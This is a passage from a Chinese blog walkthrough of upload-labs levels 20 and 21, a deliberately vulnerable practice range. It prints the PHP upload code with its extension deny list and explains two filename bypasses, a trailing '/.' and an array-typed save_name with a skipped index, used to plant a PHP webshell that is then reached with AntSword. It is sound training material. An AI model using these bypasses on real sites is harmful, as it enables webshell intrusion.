  • 最后两关都添加了保存名称的功能,即我们可以自定义文件上传后的名称。查看源码:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    $is_upload = false;
    $msg = null;
    if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
    $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

    $file_name = $_POST['save_name'];
    $file_ext = pathinfo($file_name,PATHINFO_EXTENSION);
    // 获取后缀名

    if(!in_array($file_ext,$deny_ext)) {
    // 与黑名单进行匹配
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $img_path = UPLOAD_PATH . '/' .$file_name;
    if (move_uploaded_file($temp_file, $img_path)) {
    $is_upload = true;
    }else{
    $msg = '上传出错!';
    }
    }else{
    $msg = '禁止保存为该类型文件!';
    }

    } else {
    $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
    }

    不难看出本关使用的是黑名单,并且没有之前关卡的层层过滤,只是简单的匹配不到后缀名后即可成功上传。因此本关的解法就有非常多了,包括但不限于之前所使用过的大小写绕过、加点绕过和 %00 绕过等。

  • 与往常一样,本关不会采用已经使用过的方法。本关可以利用 move_uploaded_file 函数的另外一个特性,即忽略文件末尾的 /.

突破限制

  • 直接在文件名末尾加上 /.,当然本地文件如何命名已经无所谓了,毕竟上传之后文件名是啥是由我们自己决定的。

  • 然后就上传成功了。

夺旗

  • 蚁剑连接,当然连接 .php 后缀木马即可,毕竟 /. 已经被忽略了。

  • 依旧本地无旗,继续看个视频。

Pass-21

启动靶机

  • 最后一关!

研究页面

  • 直接查看源码,最后一关慢慢审计。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    $is_upload = false;
    $msg = null;
    if(!empty($_FILES['upload_file'])){
    //检查MIME
    $allow_type = array('image/jpeg','image/png','image/gif');
    if(!in_array($_FILES['upload_file']['type'],$allow_type)){
    $msg = "禁止上传该类型文件!";
    }else{
    //检查文件名
    $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
    if (!is_array($file)) {
    $file = explode('.', strtolower($file));
    }

    $ext = end($file);
    $allow_suffix = array('jpg','png','gif');
    if (!in_array($ext, $allow_suffix)) {
    $msg = "禁止上传该后缀文件!";
    }else{
    $file_name = reset($file) . '.' . $file[count($file) - 1];
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $img_path = UPLOAD_PATH . '/' .$file_name;
    if (move_uploaded_file($temp_file, $img_path)) {
    $msg = "文件上传成功!";
    $is_upload = true;
    } else {
    $msg = "文件上传失败!";
    }
    }
    }
    }else{
    $msg = "请选择要上传的文件!";
    }
  • 首先定义了 MIME 白名单,通过 $_FILES['upload_file']['type'] 获取文件 MIME 类型并与白名单比对,若匹配失败则『禁止上传』:

    1
    2
    3
    4
    $allow_type = array('image/jpeg','image/png','image/gif');
    if(!in_array($_FILES['upload_file']['type'],$allow_type)){
    $msg = "禁止上传该类型文件!";
    }
  • MIME 匹配成功之后就开始检查文件名,首先通过 empty($_POST[save_name]) 判断用户是否指定了文件名,若未指定则以上传文件的初始文件名来命名,即 $_FILES['upload_file']['name'],若指定了则使用指定文件名进行命名:

    1
    $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
  • 然后判断文件名是否为数组,若非数组则通过 explode() 函数将文件名分隔为数组,分隔字符为 .,同时通过 strtolower() 函数将所有字母小写:

    1
    2
    3
    if (!is_array($file)) {
    $file = explode('.', strtolower($file));
    }
  • 接着使用 end() 函数取文件名数组的最后一个元素,也就是后缀名,与定义好的后缀名白名单进行比对,若匹配失败,则『禁止上传』:

    1
    2
    3
    4
    5
    $ext = end($file);
    $allow_suffix = array('jpg','png','gif');
    if (!in_array($ext, $allow_suffix)) {
    $msg = "禁止上传该后缀文件!";
    }
  • 接下来就是文件名的最终确定,首先通过 reset() 函数获取数组中的第一个元素并与 $file[count($file) - 1] 函数返回的元素以点相连接成为最终的文件名。其中 count() 返回数组的元素数量,也就是说,$file[count($file) - 1] 原则上获取到的就是后缀名:

    1
    $file_name = reset($file) . '.' . $file[count($file) - 1];
  • 最后一段代码就是例行的标准上传动作:获取路径并将临时文件移入。

    1
    2
    3
    4
    5
    6
    7
    8
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $img_path = UPLOAD_PATH . '/' .$file_name;
    if (move_uploaded_file($temp_file, $img_path)) {
    $msg = "文件上传成功!";
    $is_upload = true;
    } else {
    $msg = "文件上传失败!";
    }
  • 可以发现,最终文件命名将只保留数组首末元素,而如果传入的文件名本身就是一个数组,则 explode() 函数将不起作用。这时就可以定制数组的内容!注意最终文件名的合成,使用的是 $file[count($file) - 1] 而不是 end() 函数,而 count() 返回元素数量并不包括数组中的空元素。也就是说,如果数组中包含空元素,最终合成的后缀名就可以定制,且只需保证数组末元素为合法后缀名即可成功上传!

突破限制

  • 要将文件名构造成数组,就需要抓包了,因此,打开 Burp Suite 抓包!由于有 MIME 检查,因此原文件名应伪装为合法图片文件。图示位置即上传时所指定的文件名及初始文件名:

  • 要将其修改为数组,实际上在 save_name 变量名后加上 [0] 即可,其中 0 表示数组第一个元素,同样后续元素定义则使用 save_name[x] 其中 x 为对应索引。当然,后续元素的其他格式均与首元素一样,因此复制粘贴即可:

    值得注意的是,这里并没有定义 save_name[1] 而是直接定义了 save_name[2] 为合法数组,这样就在数组中留下了一个空元素,最后 $file[count($file) - 1] 就会访问到空元素而导致最终文件名为首元素加点(数组只有两个元素,count() 函数返回 2 ),即 h-t-m.php.。由于末尾的点不解析,因此实际上我们就已经完成了木马的植入了!

  • 发包之后即可看到文件上传成功。

夺旗

  • 蚁剑连接,实测尾部可以带点,会自动忽略。

  • 依旧本地无旗,最后看个视频。

写在后面

  本来只是想开一篇博文记录通关过程,没想到通关之后已经写了两万多字了。在本文开篇,我甚至不懂文件上传是什么概念,没用过蚁剑,也没用过Burp Suite,一切都是从0开始。在此期间,我不断穿梭在各大搜索引擎之间,很多时候,我的浏览器都是这个样子的:

  不得不说,互联网中有非常多可用的资源,但却有着许多滥竽充数和敷衍了事,当利用搜索引擎自学时,绝大部分时间就会花在对内容的筛选上。我也不清楚用实战回填知识的方法究竟可不可取,但是至少在本篇期间,文件上传相关概念如洪水猛兽般袭来。不说熟悉掌握了所有知识点,至少不会再让后期的学习存在更多的未知。毕竟,正如笔记中所记录的,任何关卡都没有满足于夺旗,而是如实地记录并解决所遇到的一切问题。

  由于学校近期任务也越来越多,因此博文基本都是挤时间完成的,前前后后磨了一个多星期,可能会有一些地方不合逻辑甚至出现胡言乱语,如果在这茫茫互联网的小角落有幸被你发现,也请谅解。

  最后,终于能说出第一关就想说的那句,完结撒花🎉请网安人继续前行!

参考链接

  1. upload-labs通关攻略(全)- 清茶先生,2021-11-07
  2. buu刷题笔记之文件上传漏洞全集-Upload-labs通关手册- 沐寒,2022-02-28
  3. Upload-labs 1-21关 靶场通关攻略(全网最全最完整)- 晚安這個未知的世界,2021-03-21
  4. Upload-labs通关详解- Q_ray,2021-03-21
  5. Upload-labs 20关通关笔记- Smi1e,2019-02-07
  6. upload-labs文件上传靶场实验通关教程攻略- Thunder_sec,2020-10-07
  7. 国光的文件上传靶场知识总结- 国光,2020-10-25
  8. PHP 教程- 菜鸟教程
  9. What is ANSI format?- Stack Overflow,2015-05-14
  10. PHP 手册- Manual,2022-05-25
  11. php.ini 中文版 (PHP7,PHP8)- 金步国
  12. PNG文件结构分析- DoubleLi,2014-04-30
  13. gif 格式图片详细解析结- C_peter,2013-12-11
  14. Some extension can bypassed...- monstra-cms/monstra(github.com),2018-01-29
  15. JPEG 文件数据结构以及将位图保存为JPG 的代码- 百度文库
  16. 中国蚁剑- (github.com),2021-07-25
  17. 上传靶机实战之upload-labs解题- 雪痕,2021-06-03
  18. PNG (Portable Network Graphics) Home Site
  19. About LibGD 2.3.1
  20. php imagecreatefrom* 系列函数之 png- janes,2016-05-20
  21. CTF-WEB:文件上传和 webshellg- 乌漆WhiteMoon,2020-09-01
  22. windows.php.net
  23. php - C:/Apache24/conf/httpd...- Stack Overflow,2018-10-24
  24. Apache解析漏洞详解- mob60475700baf7,2016-01-09
  25. CGI、FastCGI和PHP-FPM关系图解- 荣耀历程,2020-10-24
  26. 使用记事本打开JPG图片,将所有“文本”粘...- qastack.cn
  27. php安装(以module方式)- dgh00,2010-11-27
  28. 7z apache解析漏洞_upload-labs打关详解- 白红宇,2021-10-21
  29. Apache HTTP 服务器文档
  30. 各种类型文件头标准编码- gwind,2018-01-06